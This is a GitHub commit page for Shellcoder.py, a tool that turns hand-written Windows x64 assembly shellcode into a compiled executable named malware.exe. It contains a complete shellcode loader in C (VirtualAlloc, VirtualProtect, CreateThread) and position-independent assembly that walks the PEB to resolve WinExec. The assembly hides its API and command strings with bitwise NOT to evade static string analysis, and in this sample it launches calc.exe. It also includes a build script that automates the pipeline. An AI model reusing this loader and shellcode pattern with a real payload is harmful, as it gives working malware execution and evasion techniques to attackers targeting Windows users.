Skip to content

Navigation Menu

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Commit fb20ede

Browse filesBrowse files
committed
init
0 parents  commit fb20ede
Copy full SHA for fb20ede

9 files changed

+256
-0
lines changed

‎.gitignore

Copy file name to clipboard
+2Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
out/
2+
out

‎README.md

Copy file name to clipboard
+20Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# Shellcoder.py
2+
3+
Write your shellcode in Assembly and execute it with one command!
4+
5+
This script helps automate the shellcode testing process. It takes an Assembly file with the shellcode (`shellcode.asm`), compiles it into machine code (NASM), generates a payload in C with that, and pastes it into the `loader.c` file. Finally, the prepared C file is compiled using MSVC. With this script you go from Assembly shellcode to executable file with one command!
6+
7+
## Usage
8+
9+
Shellcoder most probably should be used on Windows because of the MSVC requirement.
10+
11+
```powershell
12+
# Run script
13+
python shellcoder.py
14+
```
15+
16+
## External dependencies
17+
18+
- Python 3
19+
- NASM (Netwide Assembler)
20+
- Visual Studio 2022

‎loader.c

Copy file name to clipboard
+18Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#include <windows.h>
2+
3+
void main() {
4+
void* exec;
5+
BOOL rv;
6+
HANDLE th;
7+
DWORD oldprotect = 0;
8+
9+
// Shellcode
10+
unsigned char payload[] = ":PAYLOAD:";
11+
unsigned int payload_len = 205;
12+
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
13+
RtlMoveMemory(exec, payload, payload_len);
14+
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
15+
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
16+
WaitForSingleObject(th, -1);
17+
18+
}

‎out/malware.c

Copy file name to clipboard
+18Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#include <windows.h>
2+
3+
void main() {
4+
void* exec;
5+
BOOL rv;
6+
HANDLE th;
7+
DWORD oldprotect = 0;
8+
9+
// Shellcode
10+
unsigned char payload[] = "\x64\x86\x1\x0\xce\x8b\x9a\x66\x9\x1\x0\x0\xa\x0\x0\x0\x0\x0\x0\x0\x2e\x74\x65\x78\x74\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\xcd\x0\x0\x0\x3c\x0\x0\x0\x9\x1\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x20\x0\x50\x60\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x1\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x8\x8b\x14\xb\x4c\x1\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x1\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x1\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x1\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\xc\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x1\xc7\x48\x89\xd6\xf3\xa6\x74\x5\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x4\x44\x41\x8b\x4\x82\x4c\x1\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x7\x48\xb8\xf\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x8\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6\x2e\x66\x69\x6c\x65\x0\x0\x0\x0\x0\x0\x0\xfe\xff\x0\x0\x67\x1\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x2e\x61\x73\x6d\x0\x0\x0\x0\x0\x2e\x74\x65\x78\x74\x0\x0\x0\x0\x0\x0\x0\x1\x0\x0\x0\x3\x1\xcd\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2e\x61\x62\x73\x6f\x6c\x75\x74\x0\x0\x0\x0\xff\xff\x0\x0\x3\x0\x0\x0\x0\x0\x4\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x6c\x6f\x6f\x70\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x69\x6e\x63\x6c\x6f\x6f\x70\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x0\x0\x0\x0\xf\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x61\x70\x69\x73\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x1b\x0\x0\x0\x67\x65\x74\x61\x70\x69\x61\x64\x64\x72\x0\x72\x65\x73\x6f\x6c\x76\x65\x61\x64\x64\x72\x0";
11+
unsigned int payload_len = 205;
12+
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
13+
RtlMoveMemory(exec, payload, payload_len);
14+
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
15+
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
16+
WaitForSingleObject(th, -1);
17+
18+
}

‎out/malware.exe

Copy file name to clipboard
108 KB
Binary file not shown.

‎out/malware.obj

Copy file name to clipboard
2.2 KB
Binary file not shown.

‎out/shellcode.bin

Copy file name to clipboard
472 Bytes
Binary file not shown.

‎shellcode.asm

Copy file name to clipboard
+96Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
; Compile & get shellcode from Kali:
2+
; nasm -f win64 popcalc.asm -o popcalc.o
3+
; for i in $(objdump -D popcalc.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done
4+
; Get kernel32.dll base address
5+
xor rdi, rdi ; RDI = 0x0
6+
mul rdi ; RAX&RDX =0x0
7+
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
8+
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
9+
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
10+
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
11+
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
12+
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
13+
mov r8, rbx ; RBX & R8 = &kernel32.dll
14+
15+
; Get kernel32.dll ExportTable Address
16+
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
17+
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
18+
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
19+
add cx, 0x88ff
20+
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
21+
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
22+
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
23+
24+
; Get &AddressTable from Kernel32.dll ExportTable
25+
xor r10, r10
26+
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
27+
add r10, r8 ; R10 = &AddressTable
28+
29+
; Get &NamePointerTable from Kernel32.dll ExportTable
30+
xor r11, r11
31+
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
32+
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
33+
34+
; Get &OrdinalTable from Kernel32.dll ExportTable
35+
xor r12, r12
36+
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
37+
add r12, r8 ; R12 = &OrdinalTable
38+
39+
jmp short apis
40+
41+
; Get the address of the API from the Kernel32.dll ExportTable
42+
getapiaddr:
43+
pop rbx ; save the return address for ret 2 caller after API address is found
44+
pop rcx ; Get the string length counter from stack
45+
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
46+
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
47+
push rcx ; push the string length counter to stack
48+
loop:
49+
mov rcx, [rsp] ; reset the string length counter from the stack
50+
xor rdi,rdi ; Clear RDI for setting up string name retrieval
51+
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
52+
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
53+
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
54+
repe cmpsb ; Compare strings at RDI & RSI
55+
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
56+
incloop:
57+
inc rax
58+
jmp short loop
59+
60+
; Find the address of GetProcAddress by using the last value of the Counter
61+
resolveaddr:
62+
pop rcx ; remove string length counter from top of stack
63+
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
64+
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
65+
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
66+
push rbx ; place the return address from the api string call back on the top of the stack
67+
ret ; return to API caller
68+
69+
apis: ; API Names to resolve addresses
70+
; WinExec | String length : 7
71+
xor rcx, rcx
72+
add cl, 0x7 ; String length for compare string
73+
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
74+
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
75+
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
76+
push rax
77+
push rcx ; push the string length counter to stack
78+
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
79+
mov r14, rax ; R14 = Kernel32.WinExec Address
80+
81+
; UINT WinExec(
82+
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
83+
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
84+
; );
85+
xor rcx, rcx
86+
mul rcx ; RAX & RDX & RCX = 0x0
87+
; calc.exe | String length : 8
88+
push rax ; Null terminate string on stack
89+
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
90+
not rax
91+
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
92+
push rax ; RSP = "calc.exe",0x0
93+
mov rcx, rsp ; RCX = "calc.exe",0x0
94+
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
95+
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
96+
call r14 ; Call WinExec("calc.exe", SW_HIDE)

‎shellcoder.py

Copy file name to clipboard
+102Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
#!/usr/bin/env python3
2+
#
3+
# Shellcoder.py :
4+
#
5+
# Author: Print3M (https://github.com/Print3M)
6+
#
7+
# This script helps automate the shellcode testing process.
8+
# It takes an Assembly file with shellcode, compiles
9+
# it into machine code (NASM), generates a payload in C with that,
10+
# and pastes it into the loader C file. Finally, the prepared C file
11+
# is compiled using MSVC. With this script you go from Assembly
12+
# shellcode to executable file with one command!
13+
#
14+
# External dependencies:
15+
# - Python 3
16+
# - NASM (Netwide Assembler)
17+
# - Visual Studio 2022
18+
19+
import subprocess
20+
import os
21+
import sys
22+
23+
# Directory with output files
24+
OUT_DIR = "out"
25+
26+
# Utility files
27+
SHELLCODE_INPUT_FILE = "shellcode.asm"
28+
SHELLCODE_OUTPUT_FILE = f"{OUT_DIR}\\shellcode.bin"
29+
LOADER_INPUT_FILE = "loader.c"
30+
LOADER_OUTPUT_FILE = f"{OUT_DIR}\\malware.c"
31+
32+
# String to be replaced by generated payload
33+
PAYLOAD_STRING = ":PAYLOAD:"
34+
35+
# Name of final binary output file
36+
BINARY_OUTPUT_FILE = f"{OUT_DIR}\\malware.exe"
37+
38+
# Batch script with Visual Studio compiler environment variables
39+
MSVC_BATCH_SCRIPT = "C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat"
40+
41+
42+
def is_cmd_available(cmd: str):
43+
try:
44+
subprocess.call(cmd, text=True)
45+
except FileNotFoundError:
46+
return False
47+
48+
return True
49+
50+
51+
def assert_cmd(cmd: str):
52+
if (is_cmd_available(cmd)):
53+
return
54+
55+
print(f"[!] command not found: {cmd}", file=sys.stderr)
56+
sys.exit(-1)
57+
58+
59+
if __name__ == "__main__":
60+
# Check if NASM is available
61+
assert_cmd("nasm")
62+
63+
# Prepare output directory
64+
os.makedirs(OUT_DIR, exist_ok=True)
65+
66+
# Compile Assembly
67+
subprocess.run(
68+
["nasm", "-f", "win64", SHELLCODE_INPUT_FILE, "-o", SHELLCODE_OUTPUT_FILE], check=True
69+
)
70+
71+
print(f"[+] NASM: {SHELLCODE_INPUT_FILE} -> {SHELLCODE_OUTPUT_FILE}")
72+
73+
# Prepare C array with shellcode payload
74+
payload = ""
75+
with open(SHELLCODE_OUTPUT_FILE, "rb") as f:
76+
bytes = bytearray(f.read())
77+
78+
size = len(bytes)
79+
80+
for byte in bytes:
81+
payload += "\\" + hex(byte).lstrip("0")
82+
83+
print(f"[+] Payload size: {size} bytes")
84+
85+
# Inject payload into loader source code
86+
with open(LOADER_INPUT_FILE, "r") as f:
87+
loader = f.read()
88+
89+
loader = loader.replace(PAYLOAD_STRING, payload)
90+
91+
with open(LOADER_OUTPUT_FILE, "w") as f:
92+
f.write(loader)
93+
94+
print(f"[+] {LOADER_INPUT_FILE} -> {LOADER_OUTPUT_FILE}")
95+
96+
# Compile final binary
97+
print(f"[*] MSVC: Compilation of {LOADER_OUTPUT_FILE} \n")
98+
99+
cmd = f'"{MSVC_BATCH_SCRIPT}" && cd "{OUT_DIR}" && cl.exe "../{LOADER_OUTPUT_FILE}"'
100+
proc = subprocess.run(cmd, check=True, text=True)
101+
102+
print(f"\n[+] Output binary ({BINARY_OUTPUT_FILE}) is ready to be executed!")

0 commit comments

Comments
0 (0)
Morty Proxy This is a proxified and sanitized view of the page, visit original site.